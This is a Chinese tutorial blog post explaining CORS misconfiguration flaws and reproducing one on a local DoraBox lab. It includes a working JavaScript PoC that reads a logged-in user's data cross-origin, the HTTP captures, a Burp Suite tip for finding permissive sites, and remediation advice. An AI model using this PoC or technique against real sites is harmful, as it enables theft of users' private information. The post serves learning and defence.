目录
在 xray 被动扫描的时候无意间看到了
baseline/cors/reflected
,因为是未接触过的东西 简单总结一下,虽然到了最后换来了个 风险过低已忽略就是了
漏洞介绍
首先明白几个概念 Origin(源)、SOP(同源策略) 和 CROS(跨域资源访问) 分别是什么
Origin
三个要素构成了Origin,分别是
- 访问 Web 内容时的协议(http://)
- 域名(example.com)
- 端口(:80)
三者统称为源 Origin详解
SOP
同源策略(Same Origin Policy),同源策略是基于浏览器的安全策略,它限制了网站之间不能随意互相读取和访问对方的资源。只有请求源(本地)和目标源(服务器)相同时,才能对相应资源进行读取。 同源策略详解
CORS
跨域资源共享(Cross-Origin Resource Sharing)随着发展,业务不满足于内部的资源访问,于是便有了CORS(跨域资源共享)机制,开发者可以配置具体允许哪些源对服务器的资源进行访问,但是如果未进行配置,用户只要在请求标头 Origin 字段中加入允许访问的地址,那么就可以构建任意的可允许访问的源(Access-Control-Allow-Origin)
通常 Access-Control-Allow-Origin 字段会在服务器的响应数据包内 请求标头Origin详解
同源与不同源的例子
假设服务器地址为
http://example.com
几个同源的例子
http://example.com
http://example.com/1.php
http://example.com/2.php
不同源的例子
http://example.com
https://example.com
http://example.com:8080
漏洞是如何产生的
上文提到了 请求标头 Origin 是可以构建的,假设服务器没有对字段做严格的限制,那么我们可以构造任意字段,让服务器的资源可提供给任意的第三方服务器。
那么服务器同时满足下面三点要求,则可能构成CORS漏洞
开启了 CORS(跨域资源共享)
未对Origin(请求标头)的内容做限制
未限制 Access-Control-Allow-Origin(允许访问的源) 字段
靶场漏洞复现
这里使用 DoraBox靶场: https://github.com/0verSp4ce/DoraBox
本地搭建环境,访问 URL
http://localhost/DoraBox/csrf/userinfo.php
拦截数据包分析响应包内容
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 05 Aug 2022 20:35:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.6
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
Content-Length: 151
{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"[email protected]","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"}
Access-Control-Allow-Origin:*
允许所有域都具有访问资源的权限。
Access-Control-Allow-Credentials: true
允许将请求的响应内容暴露给前端的JavaScript代码
Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
允许跨域访问资源的请求方式
服务端响应包内声明了,1. 任何域都可以访问资源 2. 允许将相应内容通过 JavasScript 代码获取 3. 允许多种方式,如PUT,POST,GET 方式请求服务器资源,那我们我们可以构建 POC 请求服务器资源
这里的 POC 在靶场
DoraBox/PoC/csrf/CORS/index.html
目录内有现成的,直接套用
在本地构建
report.html
<!DOCTYPEhtml><html><head><title>cors exp</title></head><body><scripttype="text/javascript">functioncors(){var xhttp =newXMLHttpRequest();
xhttp.onreadystatechange=function(){if(this.status ==200){alert(this.responseText);
document.getElementById("demo").innerHTML =this.responseText;}};
xhttp.open("GET","http://localhost/DoraBox/csrf/userinfo.php");
xhttp.withCredentials =true;
xhttp.send();}cors();</script></body></html>
report.html
通过 javascript 代码请求服务器资源,并且服务器返回了响应的资源,在存在 CORS 漏洞的前提下,可以通过 CORS 来访问服务器未授权的接口、或是一些用户的敏感信息。
使用浏览器打开页面
report.html
请求包
GET /DoraBox/csrf/userinfo.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: null
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
响应包
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 05 Aug 2022 20:43:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.6
Access-Control-Allow-Origin: null
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
Content-Length: 151
{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"[email protected]","address":"\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd","sex":"Cool Man"}
梳理一下整个流程,此时存在 网站A 和网站B,以及用户A。网站A是业务站点,网站B是我们搭建的恶意请求资源站点。
- 用户A在网站A登录了自己的账号,网站A返回了相应的用户信息
- 用户A访问了网站B,网站B通过用户A向网站A发起请求,此时网站A返回相应内容,因为没有对跨域资源访问做限制,网站B也能获取到网站A的响应内容
因为未对跨域请求做限制而导致第三方站点可以请求服务器资源,并不是绝对存在安全隐患的。假如说一个设计用户隐私的页面,页面会返回敏感信息的时候,这时候假设用户访问了恶意站点,恶意站点又针对敏感信息做了资源请求,可能就会导致用户的信息泄露。
针对CORS漏洞的挖掘有一些小 tips,也简单的提一下
利用burpsuite,设置访问头带Origin请求,过滤响应包的内容
BurpSuite 配置 Proxy - Options - Match and Replace 勾选
Request header Origin: foo.example.org
历史数据包中过滤规则包含
Access-Control-Allow-Origin: foo.example.org
也就是筛选允许跨域资源请求的站点,针对这些站点返回的信息,单个的进行手工检测。
修复方案
- 严格限制 Origin 字段的内容
- 配置 Access-Control-Allow-Origin 可访问的源
- 避免 Access-Control-Allow-Origin: null
- 信任形式建议配置为
*.example.com
或.example.com
- 减少 Access-Control-Allow-Methods 允许的请求方式
参考文献
- CORS跨域漏洞学习 - Lushun
- CORS跨域漏洞的学习 - FreeBuf网络安全行业门户
- CORS - 术语表 | MDN (mozilla.org)
文章是自己整理出来的,因为是一个新的知识点,设计到的东西太多了,不可能没有任何瑕疵和纰漏,希望能帮到你。如果有任何疑问,欢迎给我留言。
版权归原作者 Moekylin 所有, 如有侵权,请联系我们删除。